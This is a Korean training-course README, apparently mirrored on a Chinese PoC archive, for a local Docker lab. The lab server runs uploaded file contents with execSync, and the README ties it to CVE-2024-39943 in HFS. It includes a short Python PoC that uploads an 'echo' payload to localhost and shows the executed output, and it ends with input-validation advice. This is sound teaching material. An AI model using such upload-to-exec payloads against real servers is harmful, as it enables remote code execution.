关联漏洞
介绍
# Node.js HFS 명령어 실행 취약점 (CVE-2024-39943)
>화이트햇 스쿨 3기 – 노정민 ([@JenmrR](https://github.com/JenmrR))
---
## 요약
Node.js 기반 HFS 서버 환경에서, 업로드된 파일의 내용을 `child_process.execSync()`로 실행하는 취약점이 존재한다.
공격자는 파일 업로드 기능을 통해 OS 명령어를 직접 실행할 수 있으며, 서버 내부 명령어 결과를 확인하거나 시스템을 제어할 수 있다.
이는 CVE-2024-39943에 해당하는 취약점으로, 명령어 주입(Remote Code Execution)과 동일한 수준의 위협을 발생시킨다.
---
## 환경 구성 및 실행
1. Docker 환경을 통해 서버 실행
2. 서버는 `/upload` 경로로 파일 업로드를 수신하며, 업로드된 파일 내용을 그대로 명령어로 실행
3. 공격자는 업로드를 통해 RCE 가능
### 실행 흐름
```bash
$ sudo docker-compose up --build -d
```
```bash
$ python3 poc.py
```
### poc.py
```python
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```
---
## 결과
**PoC 실행 후 서버 응답:**
```
Executed:
Hello_From_Hacked_Server
```

---
## 정리
- 본 취약점은 외부 입력을 OS 명령어로 실행할 경우 발생하는 전형적인 RCE(Remote Command Execution) 취약점이다.
- 업로드된 파일 내용을 직접 `execSync()`로 실행하는 방식은 심각한 보안 위험을 유발한다.
- 사용자 입력은 항상 검증해야 하며, 서버 내에서 직접 실행하지 않아야 한다.
---
文件快照
[4.0K] /data/pocs/e7020dbfc8e5f785556eb797032be3c539cbccf2
├── [4.0K] app
│ ├── [ 194] package.json
│ └── [ 753] server.js
├── [ 74] docker-compose.yml
├── [ 89] Dockerfile
├── [4.0K] images
│ └── [ 24K] poc-output.png
├── [ 186] poc.py
└── [1.7K] README.md
2 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。